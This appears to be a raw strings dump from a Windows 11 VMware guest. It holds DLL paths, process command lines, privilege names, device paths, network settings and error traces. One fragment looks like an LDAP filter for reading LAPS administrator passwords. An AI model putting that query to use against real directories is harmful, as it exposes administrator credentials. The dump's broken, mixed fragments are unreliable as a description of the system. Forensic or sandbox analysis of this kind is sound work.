eC:\WINDOWS\system32\ipconfig /release \Device\HarddiskVolume3\Windows\System32\srpapi.dll \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\dhcpcsvc.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll \Device\HarddiskVolume3\Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\sxs.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\cmd.exe \Device\HarddiskVolume3\Windows\System32\srpapi.dll \Device\HarddiskVolume3\Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\cmdext.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\wldp.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll eC:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat"" \Device\HarddiskVolume3\Windows\System32\conhost.exe \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e\??\C:\WINDOWS\system32\conhost.exe 0x4 \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll @-91 eutr @ros kyb3 we M neut 001/04 #" I devicesoftwar ionMethod Al s-cb ds:KeyInf Pass t.NET/ST M.C521_BL2.0. kBu3CCRN7dLmNxYkFtQHFmUeeGoW9P 20k8dC3 pTRGV zaRjFih eg4Vh3Y8lWPoPwSR5rLYUqYqQmGFdjj9y2rmSx6s /8sAtEA6bXjVArK6ZGs 6VImJsf91Em2Qg XNYMaFWpA2i8il+ aeJp9wM23l yRU0e2F6 JYd3aT fdfzBEpY7BhvaWJ2sXl UaQ60UboRB bHBqb/XD4MVJV4QeERiK2EKmHr1 Um3EewiePHgTkj/o IjSE4IoEVgXCpq7LMS qdItGyVKc IFh/jOE5Oji XhW4Es YREJ W0ZdFsL j9oAjubzTa mBVv8j GGP6m A-AD4 8E98B 5B8} +ncalrpc:[OLEF368D941F 2C51 FB663 NT AUTHORITY\SYSTE Windows.System.Use vice-0x0-3e7$\Default ALLUSERSPROF =C:\ProgramDat PPDAT s\job\Ap Commo File (x86 W643 WINDOWS1 \cmd.ex _ARC ECTU y 6 Mo g 2, UBLI 3ac84 rive emwor efab >d__4 CSAg 49a6719 (&(o .xml Microsoft Primitive Provider Diagtrack-Listener EventLog-Application ncryptsslp.dll FIPS186DSARNG DUALECRNG Microsoft Primitive Provider FIPS186DSARNG DUALECRNG Microsoft Primitive Provider mskeyprotect.dll CHACHA20_POLY1305 Eventlog-Security Microsoft Primitive Provider Microsoft Primitive Provider mskeyprotcli.dll ncryptprov.dll Microsoft Primitive Provider MSIDCRL LOCKEDCREDENTIALS Microsoft Primitive Provider \Driver\CNG ReFSLog \Driver\PRM RadioMgr KEY_STORAGE KEY_STORAGE acpiex.sys Wdf01000.sys UBPM \Driver\acpiex Wdf01000 KEY_STORAGE MsSecCore KEY_STORAGE WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 Windows11 WindowsLive:(token):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Windows11 WindowsLive:(cert):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 0SWD\RADIO\{3DB5895D-CC28-44B3-AD3D-6F01A782B8D2} 0SWD\RADIO\{3DB5895D-CC28-44B3-AD3D-6F01A782B8D2} DSWD\MMDEVAPI\{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7}0&S DSWD\MMDEVAPI\{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} DSWD\MMDEVAPI\{0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc}V_0 DSWD\MMDEVAPI\{0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} ally -MCS-AdmPwd=*)) lapsLDAP ':sAM F0RMc5TVuuJ BaClhEWIFvwxq adym ',./ h\Device\HarddiskVolume3\Windows\System32\conhost.exe n\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 `\Device\HarddiskVolume3\Windows\System32\cmd.exe C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat""t j\Device\HarddiskVolume3\Windows\System32\ipconfig.exe LC:\WINDOWS\system32\ipconfig /release ~\Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App "C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca WINDOWS11$ WORKGROUP SYSTEM NT AUTHORITY Advapi Negotiate C:\Windows\System32\services.exe %%1833 %%1843 %%1842 SYSTEM NT AUTHORITY SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 Windows11 WindowsLive:(token):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Windows11 WindowsLive:(cert):name=02mklhxtpzieyhlx;serviceuri=* %%8100 Windows11 MicrosoftAccount:user=02mklhxtpzieyhlx %%8100 Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Default\ServiceStartStates = 0x0 Microsoft Defender Antivirus 4.18.26010.5 Default\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender HKLM\SOFTWARE\Microsoft\Windows Defender\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender Ethernet0 "\Device\RdmaSmbIpv4_192.168.27.140 "\Device\RdmaSmbIpv4_192.168.27.140 :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} 49999 FileInfo 40500v 40700 WdFilter 328010 \Device\Mup e.\Device\HarddiskVolume3 FileCrypt 141100 UCPD 385250.5 e"\Device\NamedPipe e \Device\Mailslot npsvctrig 46000 e.\Device\HarddiskVolume1 e.\Device\HarddiskVolume4 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 \Device\CdRom0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 applockerfltr 265000 150000| luafv 135000 wcifs 189900 CldFlt 409500 CldFlt CldFlt 180451 UnionFS 130850 storqosflt 244000 bindflt 409800 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e.\Device\HarddiskVolume2 PDC Suspend/Resume and Network-Refresh Activator TCPIP Win32k Activator Client Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection MSCHEDl NCSI Loopback Pseudo-Interface 1 Ethernet0 DHCP localdomain NULL NULL localdomain NULL NULL File Sharing Server Network Network Windows Push Notificationsx OpportunisticConnectedStandbyStateChange RegisterApplicationChangeHandlerWork ConnectWork ExpiredOnRebootWork DeliverBufferedToastWork ToastRequestNotificationWork wpad NULL CreateRpcBinding WNS Data Connection CreateRpcSession WNS Data Connection CreateAndInitializeObject Kam:SetKeepaliveInterval WNS Data Connection UseActivationProxy System Maintenance Service] WNS Data Connection PushEnableSocket ConnectionStatusWork ProbeCompleteWork ProbeCompleteWork ConnectWork ConnectionStatusWork RaiseClearedCallbackWork RaiseClearedCallbackWork RequestNotificationWork RequestNotificationWork RequestNotificationWork ApplicationResumeWork ApplicationResumeWork RaiseClearedCallbackWork WNS Data Connection NcbWnfCallback WNS Data Connection TeardownRPCConnection WNS Data Connection Close localdomain NULL NULL Unidentified network Unidentified network Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection Kernel mode Plug and Play client Host Activity Manager Ethernet0 Identifying... Identifying... DHCP Audio Service localdomain NULL NULL localdomain NULL NULL Universal Telemetry Clientp BatterySaverStateChange ACPowerChange MonitorSettingChange ExpiredOnRebootWork RegisterApplicationChangeHandlerWork DeliverBufferedToastWork ToastRequestNotificationWork WNS Data Connection HasModernIdentity Inbox WNS Data Connection WNS Data Connection StartBrokeredActivation WNS Data Connection WSAIoctl Kam:SetKeepaliveInterval WNS Data Connection SetServerKeepaliveIntervalHelper PowerOriginEvent:Unknown PreviousActivatorDuration:0 ProbeCompleteWork ProbeCompleteWork ConfigurePowerSaverWork ConfigurePowerSaverWork Kam:KapiUpdateCallback ConnectionStatusWork ConnectionStatusWork ApplicationResumeWork ApplicationResumeWork ApplicationResumeWork ApplicationResumeWork RequestNotificationWork RaiseClearedCallbackWork RequestNotificationWork RequestNotificationWork Network Network ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196} \\?\ACPI#VMW0001#7#{3ff2c92b-6598-4e60-8e1c-0ccf4927e319} \\?\ROOT#SYSTEM#0000#{4747b320-62ce-11cf-a5d6-28db04c10000} \\?\ACPI#FixedButton#2&daba3ff&0#{4afa3d53-74a7-11d0-be5e-00a0c9062857} \\?\HID#VID_0E0F&PID_0003&MI_00#8&217ccb29&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\HID#VID_0E0F&PID_0003&MI_01#8&34ace767&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\ROOT#SYSTEM#0000#{53172480-4791-11d0-a5d6-28db04c10000}\{97ebaacc-95bd-11d0-a3ea-00a0c9223196}&{53172480-4791-11D0-A5D6-28DB04C10000} \\?\SCSI#Disk&Ven_NVMe&Prod_VMware_Virtual_N#5&25a13950&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b} \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01#5&260e6d66&0&010000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b} \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01#5&260e6d66&0&010000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\ROOT#SPACEPORT#0000#{53f5630e-b6bf-11d0-94f2-00a0c91efb8b} \\?\ROOT#VOLMGR#0000#{53f5630e-b6bf-11d0-94f2-00a0c91efb8b} \\?\PCI#VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00#3&61aaa01&0&78#{5b45201d-f2f2-4f3b-85bb-30ff1f953599} \\?\ROOT#BasicDisplay#0000#{5b45201d-f2f2-4f3b-85bb-30ff1f953599} \\?\ROOT#UMBUS#0000#{65a9a6cf-64cd-480b-843e-32c86e1ba19f} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{65e8773d-8f56-11d0-a3b9-00a0c9223196}\eMicInWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{65e8773e-8f56-11d0-a3b9-00a0c9223196}\eLineOutWave \\?\HDAUDIO#FUN C_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eLineOutTopo \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eLineOutWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eMicInTopo \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eMicInWave \\?\SWD#MMDEVAPI#MicrosoftGSWavetableSynth#{6dc23320-ab33-4ce4-80d4-bbb3ebbf2814} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\SCSI#Disk&Ven_NVMe&Prod_VMware_Virtual_N#5&25a13950&0&000000#{7fccc86c-228a-40ad-8a58-f590af7bfdce} \\?\DISPLAY#Default_Monitor#1&8713bca&0&UID0#{866519b5-3f07-4c97-b7df-24c5d8a8ccb8} \\?\DISPLAY#Default_Monitor#4&427137e&0&UID0#{866519b5-3f07-4c97-b7df-24c5d8a8ccb8} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{86841137-ed8e-4d97-9975-f2ed56b4430e}\IntAzAudPrivateInterface \\?\ACPI#PNP0303#4&1bd7f811&0#{884b96c3-56ef-11d1-bc8c-00a0c91405dd} \\?\ROOT#SYSTEM#0000#{97ebaacb-95bd-11d0-a3ea-00a0c9223196}\{DDF4358E-BB2C-11D0-A42F-00A0C9223196}&{97EBAACB-95BD-11D0-A3EA-00A0C9223196} \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_0#{97fadb10-4e33-40ae-359c-8bef029dbdd0} \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_1#{97fadb10-4e33-40ae-359c-8bef029dbdd0} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{a17579f0-4fec-4936-9364-249460863be5}\IntAzAudPrivateInterface \\?\USB#VID_0E0F&PID_0003#6&39d724fe&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} \\?\PCI#VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00#000C29FFFFF29C8B00#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \\?\SWD#MSRRAS#MS_AGILEVPNMINIPORT#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{D947C855-6543-4643-A5FE-DDA6E49508CB} \\?\SWD#MSRRAS#MS_L2TPMINIPORT#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{AF209670-4CAC-4274-ACC5-5EAB8720D551} \\?\SWD#MSRRAS#MS_NDISWANBH#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{E79E8DA6-2875-43C8-9EB1-832D3C5F41B0} \\?\SWD#MSRRAS#MS_NDISWANIP#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{87BEC318-3BD9-4F0F-9E31-734AE059B010} \\?\SWD#MSRRAS#MS_NDISWANIPV6#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{B6E58373-6523-4C12-9A5D-B7B3A3BA7316} \\?\SWD#MSRRAS#MS_PPPOEMINIPORT#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{1E4893E3-23F9-49E3-9477-A63909049D8C} \\?\SWD#MSRRAS#MS_PPTPMINIPORT#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{E68392D8-978B-4EEB-97C7-27C802ADBD32} \\?\SWD#MSRRAS#MS_SSTPMINIPORT#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{72A4BE27-8D92-412B-AB4F-F99D2BC05362} \\?\PCI#VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00#000C29FFFFF29C8B00#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_AGILEVPNMINIPORT#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_L2TPMINIPORT#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_NDISWANBH#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_NDISWANIP#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_NDISWANIPV6#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_PPPOEMINIPORT#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_PPTPMINIPORT#{cac88484-7515-4c03-82e6-71a87abac361} \\?\SWD#MSRRAS#MS_SSTPMINIPORT#{cac88484-7515-4c03-82e6-71a87abac361} \\?\ROOT#SYSTEM#0000#{cf1dda2c-9743-11d0-a3ee-00a0c9223196}\{cfd669f1-9bc2-11d0-8299-0000f822fe8a}&{CF1DDA2C-9743-11D0-A3EE-00A0C9223196} \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_0#{dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_1#{dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} \\?\PCI#VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00#4&3b50545d&0&00B8#{dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{dda54a40-1e4c-11d1-a050-405705c10000}\eLineOutTopo \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{dda54a40-1e4c-11d1-a050-405705c10000}\eMicInTopo \\?\SWD#MMDEVAPI#{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7}#{e6327cad-dcec-4949-ae8a-991e976a79d2} \\?\DISPLAY#Default_Monitor#1&8713bca&0&UID0#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7} \\?\DISPLAY#Default_Monitor#4&427137e&0&UID0#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7} \\?\SWD#MIDISRV#MIDIU_DIAG_LOOPBACK_A#{e7cce071-3c03-423f-88d3-f1045d02552b} \\?\SWD#MIDISRV#MIDIU_DIAG_LOOPBACK_B#{e7cce071-3c03-423f-88d3-f1045d02552b} \\?\SWD#MIDISRV#MIDIU_DIAG_PING#{e7cce071-3c03-423f-88d3-f1045d02552b} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\eLineOutWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\eMicInWave \\?\ROOT#SPACEPORT#0000#{ef66a56f-88d1-4cd8-98c4-49faf57ad8af} \\?\USB#ROOT_HUB#5&2891968b&0#{f18a0e88-c30c-11d0-8815-00a0c906bed8} \\?\USB#ROOT_HUB20#5&36a4b5d6&0#{f18a0e88-c30c-11d0-8815-00a0c906bed8} \\?\USB#ROOT_HUB30#5&11106705&0&0#{f18a0e88-c30c-11d0-8815-00a0c906bed8} \\?\ACPI#ACPI0003#1#{f76c6c62- !"#$%&'()*+,-./0123456789:;<=>?@ABCD Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider TLS_AES_128_GCM_SHA256 Microsoft SSL Protocol Provider bcryptprimitives.dll Microsoft SSL Protocol Provider ECDH_P256 ECDH_P384 ECDH_P521 ECDH Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider TLS_AES_256_GCM_SHA384 Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider ECDH_P256 ECDH_P384 ECDH_P521 ECDH Microsoft SSL Protocol Provider ECDH_P256 ECDH_P384 ECDH_P521 ECDH Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider ENTER=C Network Network Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 tSof Ethernet0 null Ethernet0 Ethernet0 Ethernet Ethernet0 Ethernet Ethernet0 Ethernet0 DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} 192.168.27.254 DnsAllServerTimeout Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 Physical Ip Ethernet Connected IPv4Internet Default Ethernet Connected Ethernet0 Intel(R) 82574L Gigabit Network Connection C:\WINDOWS\system32\svchost.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 Windows.Networking.Connectivity.NetworkInformation DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 C:\WINDOWS\system32\svchost.exe DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 neud 192.168.27.254 192.168.27.2 192.168.27.254 192.168.27.2 192.168.27.2 tIntel(R) 82574L Gigabit Network Connection Ethernet0 192.168.27.2 cor( 192.168.27.140 192.168.27.2 onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(85) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(64) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(85) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(86) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(65) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(86) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(87) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(66) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(87) tid(970) 80070002 The system cannot find the file specified. 